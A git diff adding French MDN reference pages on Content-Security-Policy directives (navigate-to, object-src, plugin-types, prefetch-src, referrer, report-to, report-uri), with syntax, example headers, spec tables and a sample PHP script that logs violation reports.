+ <tbody>
+  <tr>
+   <td>{{specName("CSP 3.0", "#directive-media-src", "media-src")}}</td>
+   <td>{{Spec2('CSP 3.0')}}</td>
+   <td>Inchangé.</td>
+  </tr>
+  <tr>
+   <td>{{specName("CSP 1.1", "#directive-media-src", "media-src")}}</td>
+   <td>{{Spec2('CSP 1.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.csp.Content-Security-Policy.media-src")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Security-Policy")}}</li>
+ <li>{{HTMLElement("audio")}}, {{HTMLElement("video")}} and {{HTMLElement("track")}}</li>
+</ul>
diff --git a/files/fr/web/http/headers/content-security-policy/navigate-to/index.html b/files/fr/web/http/headers/content-security-policy/navigate-to/index.html
new file mode 100644
index 0000000000..19bd1d6e5b
--- /dev/null
+++ b/files/fr/web/http/headers/content-security-policy/navigate-to/index.html
@@ -0,0 +1,104 @@
+---
+title: 'CSP: navigate-to'
+slug: Web/HTTP/Headers/Content-Security-Policy/navigate-to
+tags:
+  - CSP
+  - Content-Security-Policy
+  - Directive
+  - HTTP
+  - Navigation
+  - Reference
+  - Security
+  - Sécurité
+  - navigate-to
+translation_of: Web/HTTP/Headers/Content-Security-Policy/navigate-to
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>navigate</strong></code><strong><code>-to</code></strong> restreint les URL vers lesquelles un document peut initier une navigation de quelque manière que ce soit, dont {{HTMLElement("form")}} (si {{CSP("form-action")}} n'est pas spécifié), {{HTMLElement("a")}}, {{DOMxRef("window.location")}}, {{DOMxRef("window.open")}}, etc. Elle permet de renforcer les navigations que le document peut initier et <strong>non</strong> les adresses vers lesquelles ce document peut naviguer.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Si la directive {{CSP("form-action")}} est présente, la directive <code>navigate-to</code> ne sera pas appliquée sur la navigation par la soumission de formulaire.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Version de CSP</th>
+   <td>3</td>
+  </tr>
+  <tr>
+   <th scope="row">Type de directive</th>
+   <td>{{Glossary("Navigation directive")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{CSP("default-src")}} par défaut</th>
+   <td>Non, ne pas la définir autorise toutes les adresses.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Une ou plusieurs sources peuvent être utilisées pour cette directive :</p>
+
+<pre class="syntaxbox notranslate">Content-Security-Policy: navigate-to &lt;source&gt;;
+Content-Security-Policy: navigate-to &lt;source&gt; &lt;source&gt;;
+</pre>
+
+<h3 id="Sources">Sources</h3>
+
+<p>{{page("fr/Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}}</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Configuration_par_balise_&lt;meta>">Configuration par balise &lt;meta&gt;</h3>
+
+<pre class="brush: html notranslate">&lt;meta http-equiv="Content-Security-Policy" content="navigate-to 'none'"&gt;
+</pre>
+
+<h3 id="Cas_de_violation">Cas de violation</h3>
+
+<p>Utiliser l'élément {{HTMLElement("form")}} avec un attribut <code>action</code> défini à un script embarqué en JavaScript résultera en une violation de CSP :</p>
+
+<pre class="brush: html; example-bad notranslate">&lt;meta http-equiv="Content-Security-Policy" content="navigate-to 'none'"&gt;
+
+&lt;form action="javascript:alert('Foo')" id="form1" method="post"&gt;
+  &lt;input type="text" name="fieldName" value="fieldValue"&gt;
+  &lt;input type="submit" id="submit" value="submit"&gt;
+&lt;/form&gt;
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{specName("CSP 3.0", "#directive-navigate-to", "navigate-to")}}</td>
+   <td>{{Spec2("CSP 3.0")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.csp.Content-Security-Policy.navigate-to")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPheader("Content-Security-Policy")}}</li>
+ <li>{{CSP("form-action")}}</li>
+ <li>Attribut <code>href</code> {{HTMLElement("a")}}</li>
+ <li>{{HTMLElement("form")}}</li>
+ <li>{{DOMxRef("window.location")}}</li>
+ <li>{{DOMxRef("window.open")}}</li>
+</ul>
diff --git a/files/fr/web/http/headers/content-security-policy/object-src/index.html b/files/fr/web/http/headers/content-security-policy/object-src/index.html
new file mode 100644
index 0000000000..0140afd0db
--- /dev/null
+++ b/files/fr/web/http/headers/content-security-policy/object-src/index.html
@@ -0,0 +1,104 @@
+---
+title: 'CSP: object-src'
+slug: Web/HTTP/Headers/Content-Security-Policy/object-src
+tags:
+  - CSP
+  - Content-Security-Policy
+  - Directive
+  - HTTP
+  - Object
+  - Reference
+  - Security
+  - Sécurité
+  - object-src
+  - source
+translation_of: Web/HTTP/Headers/Content-Security-Policy/object-src
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} <code><strong>object-src</strong></code> spécifie les sources valides pour les éléments {{HTMLElement("object")}}, {{HTMLElement("embed")}} et {{HTMLElement("applet")}}.</p>
+
+<p>Pour définir des types autorisés pour les éléments {{HTMLElement("object")}}, {{HTMLElement("embed")}} et {{HTMLElement("applet")}}, voir la directive {{CSP("plugin-types")}}.</p>
+
+<p class="note">Les éléments contrôlés par <code>object-src</code> sont considérés peut-être par coïcidence comme des éléments HTML du passé et ne recevront de nouvelles fonctionnalités normalisées (comme les attributs de sécurité <code>sandbox</code> et <code>allow</code> pour <code>&lt;iframe&gt;</code>). De ce fait, il est <a href="https://csp.withgoogle.com/docs/strict-csp.html">recommandé</a> de restreindre cette directive, c'est-à-dire la définir explicitement à <code>object-src 'none'</code> dans la mesure du possible.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Version de CSP</th>
+   <td>1</td>
+  </tr>
+  <tr>
+   <th scope="row">Type de directive</th>
+   <td>{{Glossary("Fetch directive")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{CSP("default-src")}} par défaut</th>
+   <td>Oui, si cette directive est absente, l'agent utilisateur consultera la directive <code>default-src</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Une ou plusieurs sources peuvent être autorisées pour cette directive :</p>
+
+<pre class="syntaxbox notranslate">Content-Security-Policy: object-src &lt;source&gt;;
+Content-Security-Policy: object-src &lt;source&gt; &lt;source&gt;;
+</pre>
+
+<h3 id="Sources">Sources</h3>
+
+<p>{{page("fr/Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}}</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Cas_de_violation">Cas de violation</h3>
+
+<p>Soit cet en-tête CSP :</p>
+
+<pre class="brush: bash notranslate">Content-Security-Policy: object-src https://example.com/</pre>
+
+<p>Ces éléments {{HTMLElement("object")}}, {{HTMLElement("embed")}} et {{HTMLElement("applet")}} seront bloqués et ne se chargeront pas :</p>
+
+<pre class="brush: html notranslate">&lt;embed src="https://not-example.com/flash"&gt;&lt;/embed&gt;
+&lt;object data="https://not-example.com/plugin"&gt;&lt;/object&gt;
+&lt;applet archive="https://not-example.com/java"&gt;&lt;/applet&gt;</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{specName("CSP 3.0", "#directive-object-src", "object-src")}}</td>
+   <td>{{Spec2('CSP 3.0')}}</td>
+   <td>Inchangé.</td>
+  </tr>
+  <tr>
+   <td>{{specName("CSP 1.1", "#directive-object-src", "object-src")}}</td>
+   <td>{{Spec2('CSP 1.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.csp.Content-Security-Policy.object-src")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Security-Policy")}}</li>
+ <li>{{HTMLElement("object")}}, {{HTMLElement("embed")}}, and {{HTMLElement("applet")}}</li>
+ <li>{{CSP("plugin-types")}}</li>
+</ul>
diff --git a/files/fr/web/http/headers/content-security-policy/plugin-types/index.html b/files/fr/web/http/headers/content-security-policy/plugin-types/index.html
new file mode 100644
index 0000000000..d91ed93f9b
--- /dev/null
+++ b/files/fr/web/http/headers/content-security-policy/plugin-types/index.html
@@ -0,0 +1,121 @@
+---
+title: 'CSP: plugin-types'
+slug: Web/HTTP/Headers/Content-Security-Policy/plugin-types
+tags:
+  - CSP
+  - Content-Security-Policy
+  - Directive
+  - Flash
+  - Greffon
+  - HTTP
+  - Java
+  - Plugin
+  - Security
+  - Sécurité
+translation_of: Web/HTTP/Headers/Content-Security-Policy/plugin-types
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>plugin-types</strong></code> restreint l'ensemble des greffons pouvant être intégrés dans un document en limitant les types de ressources pouvant être chargées.</p>
+
+<p>L'instanciation d'éléments {{HTMLElement("embed")}}, {{HTMLElement("object")}} ou {{HTMLElement("applet")}} échouera si :</p>
+
+<ul>
+ <li>l'élément à charger ne déclarer pas de type MIME valide,</li>
+ <li>le type déclaré ne correspond pas à un des types spécifiés dans la directive <code>plugin-types</code>,</li>
+ <li>les ressources demandées ne correspondent pas au type déclaré.</li>
+</ul>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Version de CSP</th>
+   <td>2</td>
+  </tr>
+  <tr>
+   <th scope="row">Type de directive</th>
+   <td>{{Glossary("Document directive")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{CSP("default-src")}} par défaut</th>
+   <td>Non, ne pas la définir autorise toutes les ressources</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Un ou plusieurs <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">types MIME</a> peuvent être autorisées pour cette directive :</p>
+
+<pre class="syntaxbox notranslate">Content-Security-Policy: plugin-types &lt;type&gt;/&lt;subtype&gt;;
+Content-Security-Policy: plugin-types &lt;type&gt;/&lt;subtype&gt; &lt;type&gt;/&lt;subtype&gt;;
+</pre>
+
+<dl>
+ <dt>&lt;type&gt;/&lt;subtype&gt;</dt>
+ <dd>Un <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Complete_list_of_MIME_types">type MIME</a> valide.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Interdire_les_greffons">Interdire les greffons</h3>
+
+<p>Pour intedire tous les greffons, la directive {{CSP("object-src")}} doit être définie à <code>'none'</code>. La directive <code>plugin-types</code> n'est utilisée que si vous autorisez au préalable les greffons avec <code>object-src</code>.</p>
+
+<pre class="brush: html notranslate">&lt;meta http-equiv="Content-Security-Policy" content="object-src 'none'"&gt;</pre>
+
+<h3 id="Autoriser_le_contenu_Flash">Autoriser le contenu Flash</h3>
+
+<p>Soit cet en-tête CSP :</p>
+
+<pre class="brush: bash notranslate">Content-Security-Policy: plugin-types application/x-shockwave-flash</pre>
+
+<p>Cet objet Flash sera autorisé et se chargera (dans la mesure où le navigateur gère Flash) :</p>
+
+<pre class="brush: html notranslate">&lt;object data="https://example.com/flash" type="application/x-shockwave-flash"&gt;&lt;/object&gt;</pre>
+
+<h3 id="Autoriser_les_applets_Java">Autoriser les applets Java</h3>
+
+<p>Pour charger une {{HTMLElement("applet")}}, vous devez spécifier la valeur <code>application/x-java-applet</code> :</p>
+
+<pre class="brush: bash notranslate">Content-Security-Policy: plugin-types application/x-java-applet</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{specName("CSP 3.0", "#directive-plugin-types", "plugin-types")}}</td>
+   <td>{{Spec2('CSP 3.0')}}</td>
+   <td>Inchangé.</td>
+  </tr>
+  <tr>
+   <td>{{specName("CSP 1.1", "#directive-plugin-types", "plugin-types")}}</td>
+   <td>{{Spec2('CSP 1.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.csp.Content-Security-Policy.plugin-types")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Security-Policy")}}: {{CSP("object-src")}}</li>
+ <li>{{HTMLElement("object")}}</li>
+ <li>{{HTMLElement("embed")}}</li>
+ <li>{{HTMLElement("applet")}}</li>
+ <li>{{HTTPHeader("X-Content-Type-Options")}}</li>
+</ul>
diff --git a/files/fr/web/http/headers/content-security-policy/prefetch-src/index.html b/files/fr/web/http/headers/content-security-policy/prefetch-src/index.html
new file mode 100644
index 0000000000..81d2f5f0fa
--- /dev/null
+++ b/files/fr/web/http/headers/content-security-policy/prefetch-src/index.html
@@ -0,0 +1,88 @@
+---
+title: 'CSP: prefetch-src'
+slug: Web/HTTP/Headers/Content-Security-Policy/prefetch-src
+tags:
+  - CSP
+  - Content-Security-Policy
+  - Directive
+  - HTTP
+  - Reference
+  - prefetch-src
+  - source
+translation_of: Web/HTTP/Headers/Content-Security-Policy/prefetch-src
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>prefetch-src</strong></code> spécifie les ressources pouvant être préchargées ou préaffichées.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Version de CSP</th>
+   <td>3</td>
+  </tr>
+  <tr>
+   <th scope="row">Type de directive</th>
+   <td>{{Glossary("Fetch directive")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{CSP("default-src")}} par défaut</th>
+   <td>Oui, si cette directive est absente, l'agent utilisateur consultera la directive <code>default-src</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Une ou plusieurs sources peuvent être autorisées pour cette directive :</p>
+
+<pre class="syntaxbox notranslate">Content-Security-Policy: prefetch-src &lt;source&gt;;
+Content-Security-Policy: prefetch-src &lt;source&gt; &lt;source&gt;;
+</pre>
+
+<h3 id="Sources">Sources</h3>
+
+<p>{{page("/fr/docs/Web/HTTP/Headers/Content-Security-Policy/default-src", "common_sources")}}</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="Cas_de_violation">Cas de violation</h3>
+
+<p>Soit cet en-tête CSP :</p>
+
+<pre class="notranslate">Content-Security-Policy: prefetch-src https://example.com/
+</pre>
+
+<p>Les requêtes émises par ce code généreront des erreurs de réseau puisque les URL demandées ne correspondant pas à la liste de permissions de la directive <code>prefetch-src</code> :</p>
+
+<pre class="notranslate">&lt;link rel="prefetch" src="https://example.org/"&gt;&lt;/link&gt;
+&lt;link rel="prerender" src="https://example.org/"&gt;&lt;/link&gt;</pre>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{specName("CSP 3.0", "#prefetch-src", "prefetch-src")}}</td>
+   <td>{{Spec2("CSP 3.0")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("http.headers.csp.Content-Security-Policy.prefetch-src")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Security-Policy")}}</li>
+</ul>
diff --git a/files/fr/web/http/headers/content-security-policy/referrer/index.html b/files/fr/web/http/headers/content-security-policy/referrer/index.html
new file mode 100644
index 0000000000..dc3b894b7c
--- /dev/null
+++ b/files/fr/web/http/headers/content-security-policy/referrer/index.html
@@ -0,0 +1,64 @@
+---
+title: 'CSP: referrer'
+slug: Web/HTTP/Headers/Content-Security-Policy/referrer
+tags:
+  - CSP
+  - Content-Security-Policy
+  - Directive
+  - HTTP
+  - Obsolete
+  - Reference
+  - Security
+  - Sécurité
+  - referrer
+translation_of: Web/HTTP/Headers/Content-Security-Policy/referrer
+---
+<div>{{HTTPSidebar}} {{deprecated_header}}</div>
+
+<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>referrer</strong></code> spécifie des informations dans l'en-tête HTTP {{HTTPHeader("Referer")}} (avec un seul r) pour les liens externes d'une page. Cette API est dépréciée et supprimée des navigateurs.</p>
+
+<div class="note">
+<p>Utilisez plutôt l'en-tête HTTP {{HTTPHeader("Referrer-Policy")}}.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Soit cet en-tête CSP :</p>
+
+<pre class="syntaxbox notranslate">Content-Security-Policy: referrer &lt;referrer-policy&gt;;</pre>
+
+<p>Où <code>&lt;referrer-policy&gt;</code> peut être une valeur parmi :</p>
+
+<dl>
+ <dt>"no-referrer"</dt>
+ <dd>L'en-tête HTTP {{HTTPHeader("Referer")}} sera omise. Aucune information de référent ne sera envoyée avec les requêtes.</dd>
+ <dt>"none-when-downgrade"</dt>
+ <dd>C'est le comportement par défaut des agents d'utilisateur si la directive n'est pas spécifiée. L'origine est envoyée comme référent pour une destination a priori aussi bien sécurisée (HTTP vers HTTP ou HTTPS vers HTTPS), mais n'est pas envoyée vers une destination qui l'est moins (HTTPS vers HTTP).</dd>
+ <dt>"origin"</dt>
+ <dd>Envoie l'origine du document comme référent dans tous les cas.<br>
+ Le document <code>https://example.com/page.html</code> enverra <code>https://example.com/</code> comme référent.</dd>
+ <dt>"origin-when-cross-origin" / "origin-when-crossorigin"</dt>
+ <dd>Envoie une URL complète pour les requêtes vers la même origine, mais seulement l'origin du document dans les autres cas.</dd>
+ <dt>"unsafe-url"</dt>
+ <dd>Envoie une URL complète (excepté ses paramètres) lors de réalisation d'une requête vers la même origine ou une autre origine. Cette règle divulguera les origines et adresses des ressources protégées par TLS à des origines non sécurisées. Considérez avec précaution les conséquences de cette configuration.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="notranslate">Content-Security-Policy: referrer "none";</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette fonctionnalité ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("http.headers.csp.Content-Security-Policy.referrer")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Security-Policy")}}</li>
+ <li>{{HTTPHeader("Referrer-Policy")}} header</li>
+ <li>{{HTTPHeader("Referer")}} header</li>
+</ul>
diff --git a/files/fr/web/http/headers/content-security-policy/report-to/index.html b/files/fr/web/http/headers/content-security-policy/report-to/index.html
new file mode 100644
index 0000000000..ad134606c0
--- /dev/null
+++ b/files/fr/web/http/headers/content-security-policy/report-to/index.html
@@ -0,0 +1,83 @@
+---
+title: 'CSP: report-to'
+slug: Web/HTTP/Headers/Content-Security-Policy/report-to
+tags:
+  - CSP
+  - Content-Security-Policy
+  - Directive
+  - HTTP
+  - Reporting
+  - Security
+  - Sécurité
+  - report-to
+translation_of: Web/HTTP/Headers/Content-Security-Policy/report-to
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><span class="seoSummary">La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <strong><code>report-to</code></strong> demande à l'agent utilisateur de rapporter les violations de règles CSP à l'adresse fournie dans un groupe de l'en-tête HTTP <code>Report-To</code>.</span></p>
+
+<pre class="syntaxbox notranslate">Content-Security-Policy: ...; report-to groupname
+</pre>
+
+<p>Cette directive n'a aucun effet en elle-même, mais prend tout son sens en étant combinée à d'autres directives.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Version de CSP</th>
+   <td>1</td>
+  </tr>
+  <tr>
+   <th scope="row">Type de directive</th>
+   <td>{{Glossary("Reporting directive")}}</td>
+  </tr>
+  <tr>
+   <th colspan="2" scope="row">This directive is not supported in the {{HTMLElement("meta")}} element.</th>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="notranslate">Content-Security-Policy: report-to &lt;json-field-value&gt;;</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Voir {{HTTPHeader("Content-Security-Policy-Report-Only")}} pour plus d'informations et d'exemples.</p>
+
+<pre class="notranslate"><a href="http://wicg.github.io/reporting/#report-to" id="ref-for-report-to①">Report-To</a>: { "<a href="http://wicg.github.io/reporting/#group" id="ref-for-group①">group</a>": "csp-endpoint",
+             "<a href="http://wicg.github.io/reporting/#max-age" id="ref-for-max-age①">max_age</a>": 10886400,
+             "<a href="http://wicg.github.io/reporting/#endpoints" id="ref-for-endpoints②">endpoints</a>": [
+               { "<a href="http://wicg.github.io/reporting/#url" id="ref-for-url②">url</a>": "https://example.com/csp-reports" }
+             ] },
+           { "<a href="http://wicg.github.io/reporting/#group" id="ref-for-group②">group</a>": "hpkp-endpoint",
+             "<a href="http://wicg.github.io/reporting/#max-age" id="ref-for-max-age②">max_age</a>": 10886400,
+             "<a href="http://wicg.github.io/reporting/#endpoints" id="ref-for-endpoints③">endpoints</a>": [
+               { "<a href="http://wicg.github.io/reporting/#url" id="ref-for-url③">url</a>": "https://example.com/hpkp-reports" }
+             ] }
+<a href="https://w3c.github.io/webappsec-csp/#content-security-policy" id="ref-for-content-security-policy①">Content-Security-Policy</a>: ...; <a href="https://w3c.github.io/webappsec-csp/#directives-reporting" id="ref-for-directives-reporting①">report-to</a> csp-endpoint
+</pre>
+
+<pre class="notranslate"><a href="http://wicg.github.io/reporting/#report-to" id="ref-for-report-to">Report-To</a>: { "<a href="http://wicg.github.io/reporting/#group" id="ref-for-group">group</a>": "endpoint-1",
+             "<a href="http://wicg.github.io/reporting/#max-age" id="ref-for-max-age">max_age</a>": 10886400,
+             "<a href="http://wicg.github.io/reporting/#endpoints" id="ref-for-endpoints①">endpoints</a>": [
+               { "<a href="http://wicg.github.io/reporting/#url" id="ref-for-url">url</a>": "https://example.com/reports" },
+               { "<a href="http://wicg.github.io/reporting/#url" id="ref-for-url①">url</a>": "https://backup.com/reports" }
+             ] }
+
+<a href="https://w3c.github.io/webappsec-csp/#content-security-policy" id="ref-for-content-security-policy">Content-Security-Policy</a>: ...; <a href="https://w3c.github.io/webappsec-csp/#directives-reporting" id="ref-for-directives-reporting">report-to</a> endpoint-1</pre>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">
+<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("http.headers.csp.Content-Security-Policy.report-to")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Security-Policy")}}</li>
+ <li>{{HTTPHeader("Content-Security-Policy-Report-Only")}}</li>
+</ul>
diff --git a/files/fr/web/http/headers/content-security-policy/report-uri/index.html b/files/fr/web/http/headers/content-security-policy/report-uri/index.html
new file mode 100644
index 0000000000..11fcad82f9
--- /dev/null
+++ b/files/fr/web/http/headers/content-security-policy/report-uri/index.html
@@ -0,0 +1,133 @@
+---
+title: 'CSP: report-uri'
+slug: Web/HTTP/Headers/Content-Security-Policy/report-uri
+tags:
+  - CSP
+  - Content-Security-Policy
+  - Directive
+  - HTTP
+  - Reference
+  - Security
+  - Sécurité
+translation_of: Web/HTTP/Headers/Content-Security-Policy/report-uri
+---
+<div>{{HTTPSidebar}}{{deprecated_header}}</div>
+
+<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>report-uri</strong></code> demande à l'agent utilisateur de rapporter les violations de règles CSP. Ces rapports de violation sont constituées d'un document JSON envoyé via une requête HTTP POST à l'URI fournie.</p>
+
+<div class="warning">
+<p>Bien que la directive {{CSP("report-to")}} est prévue remplacer la directive <code><strong>report-uri</strong></code> maintenant dépréciée, {{CSP("report-to")}} n'est pas encore supportée par la plupart des navigateurs modernes. Par rétrocompatibilité avec les navigateurs courants et tout en prévoyant une compatibilité future quand les navigateurs supporteront {{CSP("report-to")}}, vous pouvez spécifier les deux directives <code><strong>report-uri</strong></code> et {{CSP("report-to")}}:</p>
+
+<pre class="syntaxbox notranslate">Content-Security-Policy: ...; report-uri https://endpoint.com; report-to groupname</pre>
+
+<p>Dans les navigateurs qui supportent {{CSP("report-to")}}, la directive <code><strong>report-uri</strong></code> sera ignorée.</p>
+</div>
+
+<p>Cette directive n'a aucun effet en elle-même, mais prend tout son sens en étant combinée à d'autres directives.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Version de CSP</th>
+   <td>1</td>
+  </tr>
+  <tr>
+   <th scope="row">Type de directive</th>
+   <td>{{Glossary("Reporting directive")}}</td>
+  </tr>
+  <tr>
+   <th colspan="2" scope="row">Cette directive n'est pas supportée dans l'élément {{HTMLElement("meta")}}.</th>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">Content-Security-Policy: report-uri &lt;uri&gt;;
+Content-Security-Policy: report-uri &lt;uri&gt; &lt;uri&gt;;</pre>
+
+<dl>
+ <dt>&lt;uri&gt;</dt>
+ <dd>Une URI où envoyer la requête POST contenant le rapport de violation.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Voir {{HTTPHeader("Content-Security-Policy-Report-Only")}} pour plus d'informations et d'exemples.</p>
+
+<pre class="notranslate">Content-Security-Policy: default-src https:; report-uri /csp-violation-report-endpoint/</pre>
+
+<p><code>/csp-violation-report-endpoint/</code> pourrait par exemple exécuter un script PHP similaire au suivant qui journaliserait le JSON détaillant la violation et, si elle est la première ajoutée au journal, enverrait un courril à l'administrateur :</p>
+
+<pre class="brush: php notranslate">&lt;?php
+
+// Start configure
+$log_file = dirname(__FILE__) . '/csp-violations.log';
+$log_file_size_limit = 1000000; // bytes - once exceeded no further entries are added
+$email_address = 'admin@example.com';
+$email_subject = 'Content-Security-Policy violation';
+// End configuration
+
+$current_domain = preg_replace('/www\./i', '', $_SERVER['SERVER_NAME']);
+$email_subject = $email_subject . ' on ' . $current_domain;
+
+http_response_code(204); // HTTP 204 No Content
+
+$json_data = file_get_contents('php://input');
+
+// We pretty print the JSON before adding it to the log file
+if ($json_data = json_decode($json_data)) {
+  $json_data = json_encode($json_data, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES);
+
+  if (!file_exists($log_file)) {
+    // Send an email
+    $message = "The following Content-Security-Policy violation occurred on " .
+      $current_domain . ":\n\n" .
+      $json_data .
+      "\n\nFurther CPS violations will be logged to the following log file, but no further email notifications will be sent until this log file is deleted:\n\n" .
+      $log_file;
+    mail($email_address, $email_subject, $message,
+         'Content-Type: text/plain;charset=utf-8');
+  } else if (filesize($log_file) &gt; $log_file_size_limit) {
+    exit(0);
+  }
+
+  file_put_contents($log_file, $json_data, FILE_APPEND | LOCK_EX);
+}
+
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{specName("CSP 3.0", "#directive-report-uri", "report-uri")}}</td>
+   <td>{{Spec2('CSP 3.0')}}</td>
+   <td>Inchangé.</td>
+  </tr>
+  <tr>
+   <td>{{specName("CSP 1.1", "#directive-report-uri", "report-uri")}}</td>
+   <td>{{Spec2('CSP 1.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
